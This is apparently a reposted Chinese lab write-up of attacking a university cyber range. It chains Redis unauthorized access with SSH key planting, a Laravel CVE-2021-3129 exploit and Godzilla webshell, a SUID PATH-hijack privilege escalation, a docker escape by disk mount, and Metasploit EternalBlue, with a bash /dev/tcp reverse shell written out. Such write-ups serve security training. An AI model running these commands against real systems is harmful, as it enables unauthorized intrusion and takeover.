DHU网络攻防靶场攻击记录

news/2024/10/12 14:24:13

DHU网络靶场攻击记录

已知:靶场入口10.199.227.xxx

不完整的网络拓扑图:

image

环境准备:kali/wsl-kali/虚拟机kali以及windows或其他操作系统的本机

工具准备:

  • Fscan
  • nmap
  • laravel-CVE-2021-3129-EXP-main
  • 哥斯拉
  • Burpsuite
  • msfconsole(主要)

目录
  • DHU网络靶场攻击记录
    • 如何挂代理
    • 入口处机器攻击--redis未授权访问
    • 第二台机器--laravel漏洞利用
    • 第三胎机器--OA漏洞/永恒之蓝
    • 第四台机器--还是永恒之蓝
    • 第五台机器

如何挂代理

首先可以下载一个stowaway到靶机和本机

然后在本机上执行

./linux_x64_admin -l 本机ip:任意端口 -s 123

在靶机上执行

./linux_x64_admin -c 本机ip:任意端口 -s 123 --reconnect 8

监听成功后回到本机

use 0
socks 127.0.0.1:12354	#端口看个人喜好

然后去修改proxychains.conf

sudo vim /etc/proxychains.conf
#进入界面后拉到最下面添加
socks5 127.0.0.1 12354

然后若想进行扫描则执行

proxychains nmap xxx.xxx.xxx.xx

若想在代理模式下进入msfconsole则执行

proxychains msfconsole

那么这是一层代理

若想挂第二层代理,由于在msfconsole里也可以挂代理,并且由于第二层代理后所有操作均在msfconsole上,因此不需要再修改proxychains.conf文件。

当然也可以在某台靶机上挂代理,这样或许可以不用挂多层代理

msfconsole挂代理具体步骤为:

监听端口

use exploit/multi/handler
set lhost 本机ip
set lport 端口
exploit -j

靶机上执行

bash -c "bash -i >& /dev/tcp/你的监听ip/你的监听端⼝ 0>&1"

进行持久化

回到msfconsole

use post/multi/manage/shell_to_meterpreter
set session 1
set lport 12345	#端口与上面不同
run

创建新会话

sessions -l
sessions -i 1
background

搭建代理

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 23333
run

至此搭建完成

当然也可以在windows下挂代理,有些时候还是会有用的,在靶机上新建一个用户后,设置好账号密码,在本机执行

假设用户名为user

ssh -L 1234:ip1:port1 user@ip2	#ip1,port1为你要通过靶机才能访问到的ip,ip2为靶机ip

然后输入密码登陆上去通过本机的1234端口就能访问了。

入口处机器攻击--redis未授权访问

首先使用fscan扫描端口。

main.exe -h  10.199.227.xxx -np

image

发现6379端口开着并且指出了未授权的文件夹,考虑是redis未授权访问漏洞

打开kali,生成自己的公钥并将公钥写入靶机。

ssh-keygen -t rsa 	#生成自己的公钥
cd .ssh/ 	#进入.ssh目录
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt 	#将公钥写入key.txt
cat key.txt | redis-cli -h 10.199.227.xxx -x set xxx 	#xxx可以自己取任意名字
redis-cli -h 10.199.227.xxx		#redis连接靶机
config set dir /root/.ssh       #更改redis备份路径为ssh公钥存放目录(通过端口扫描可知为/root/.ssh)
config set dbfilename authorized_keys  	#设置上传公钥的备份文件名字为authorized_keys
config get dbfilename 	#检查是否更改成功 
save      #保存 
exit      #退出
ssh -i id_rsa root@10.199.227.xxx   #在攻击机上使用ssh免密登录靶机

image

这样就获取到了第一台机器的shell。

第二台机器--laravel漏洞利用

在web1上进行端口扫描,发现该网段下有两台机器,一台有8000端口和22端口,挂上代理后在网页输入ip,可以看到laravel的界面,因此可以考虑laravel漏洞。

image

由于其有网页,可以考虑使用burpsuite抓包后修改状态清空日志文件再写入自己的木马后,再获取webshell,然后通过监听手段反弹shell之后将docker提权(非常的麻烦)。

而对于这个漏洞有更简单的打法,用laravel-CVE-2021-3129-EXP-main直接就能写入shell,github上可以直接搜到这个工具,下载下来后直接使用命令

python3 laravel-CVE-2021-3129-EXP.py http://127.0.0.1:xxxx	#端口自己选

image

然后使用哥斯拉连接获取webshell。github搜搜godzila,注意下载3.0以前的版本,不然会失败

注意这里的URL里面的端口和前面的端口要对应,我这里应该是1234而不是8080

image

测试连接成功后点击添加然后右键选择进入,就获取到了webshell,但这是一个docker容器,可以考虑把shell反弹到web1上进行提权操作后将web1的公钥写入这台机器上。

image

在web上监听端口,端口号任意

nc -lvv 1234

在webshell上执行反弹shell命令

bash -c "bash -i >& /dev/tcp/你的监听ip/你的监听端⼝ 0>&1"

获取到webshell之后查找高权限的文件,注意到home/jobs下有一个shell文件

find / -oerm -u=s -type f 2>/dev/null	#由于权限低,所以将查找结果冲顶先到/dev/null

image
输出该文件可以发现其展示ps进程,因此可以利用环境变量进行提权。

在此界面进行以下操作

cd /home/jobs
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./shell
id

image
到这里已经是root权限了,为了后续的进攻,之前扫端口的时候这台机器有开着ssh端口,联系一下web1的攻击流程,可以像本机攻击web1那样,将web1的公钥写入web2。

查找可挂载目录,发现sda1可以挂载。
image
开始挂载

mkdir xxx	#xxx自己取
chmod 777 xxx
mount /dev/sda1 xxx

确实有.ssh目录
image
然后在web1上执行以下命令

ssh-keygen -f xxx	#xxx自己取,生成公钥
cat xxx.pub		#将输出的内容自己复制到无格式文本(建议用记事本)

然后再回到web2

cp -avx xxx/home/ubuntu/.ssh/id_rsa.pub xxx/home/ubuntu/.ssh/authorized_keys 	#xxx是你自己之前挂载时取得目录名,avx是连同权限一起复制
echo > xxx/home/ubuntu/.ssh/authorized_keys 	#清空文件内容
echo '...' > xxx/home/ubuntu/.ssh/authorized_keys	#...就是复制在记事本上的内容

然后再去web1

ssh -i xxx ubuntu@ip 	#xxx为公钥名称,ip为web2的ip

image

第三胎机器--OA漏洞/永恒之蓝

由于msf的永恒之蓝模块太好用了,所以我选择用永恒之蓝打这台

通过先前的扫描端口注意到这台的445端口开着,直接无脑用永恒之蓝

首先本机挂上web1的代理

正常步骤应该还要确认下是否真的存在永恒之蓝漏洞,也是用msf的模块,这个可以自行搜索一下。

proxychains msfconsole	#在代理模式下进入msfconsole
search ms17_010
use 0
set payload generic/shell_reverse_tcp	#用默认的那个拿到meterpreter后shell拿不到,于是直接拿shell
set rhost 靶机ip
set lhost 本机ip
run

一切正常的话直接就进去了。
image

第四台机器--还是永恒之蓝

在web2上继续扫描端口
image
发现依然是一台具有445端口的机器

那么在挂第一层代理的基础上再用同样的方式再挂一层代理,再使用永恒之蓝模块就能打进去了。

proxychains msfconsole	#在代理模式下进入msfconsole
search ms17_010
use 0
set payload generic/shell_reverse_tcp	#用默认的那个拿到meterpreter后shell拿不到,于是直接拿shell
set rhost 靶机ip
set lhost 本机ip
run

第五台机器

用第三台机器先获取域控账密后,然后利用ipc关闭第五台机器的防火墙,然后利用msf自带的psexec进行横向移动即可,但是因为靶场机器不稳定,一直没有打进去。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/27256.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

运算符重载

运算符重载 基本规则 可以重载的运算符:不可重载的运算符://返回类型 operator后面加运算符(参数列表) //eg. Integer operator+(Integer l, Integer r);class Integer{ public:Integer(int n = 0) : i(n) {}const Integer operator+(const Integer& v){ //在类中定义运…

图的概念、存储与遍历

相关概念图 (graph) 是一个二元组 \(G=(V(G),E(G))\)。其中 \(V(G)\) 是非空集,称为 点集 (vertex set),对于 \(V\) 中的每个元素,我们称其为 顶点 (vertex) 或 节点 (node),简称 点;\(E(G)\) 为 \(V(G)\) 结点之间边的集合,称为 边集 (edge set)。 ​ …

基于SSM的仓库进销存系统毕业设计论文【范文】

摘要 随着信息技术的不断发展,企业对于仓储管理的要求日益提高。为了提升仓库管理的自动化和智能化水平,本研究设计并实现了一个基于Spring、Spring MVC和MyBatis (SSM) 框架的在仓库进销存系统。该系统旨在为企业提供一个高效、准确、实时的库存管理解决方案,以优化库存控制…

FreeRTOS任务通知

FreeRTOS任务通知 FreeRTOS 新增了任务通知(Task Notifictions)这个功能,可以使用任务通知来代替信号量、消息队列、事件标志组等这些东西。使用任务通知的话效率会更高,任务通知在 FreeRTOS 中是一个可选的功能, 使用队列、信号量、事件标志组时都需另外创建一个结构体,通…

uboot-学习笔记

uboot引导程序的作用不同bootloader的对比系统启动自举过程阶段

【软件构造课程相关】幻方及其构造(上)

介绍 ​ 幻方(Magic Square),有时又称魔术方阵或纵横图,由一组排放在正方形中的整数组成,其每行、每列以及每一条主对角线的和均相等。通常幻方由从1到$N2$的连续整数组成,其中N为正方形的行或列的数目。因此N阶幻方有N行N列,并且所填充的数为从1到$N2$。 ​ …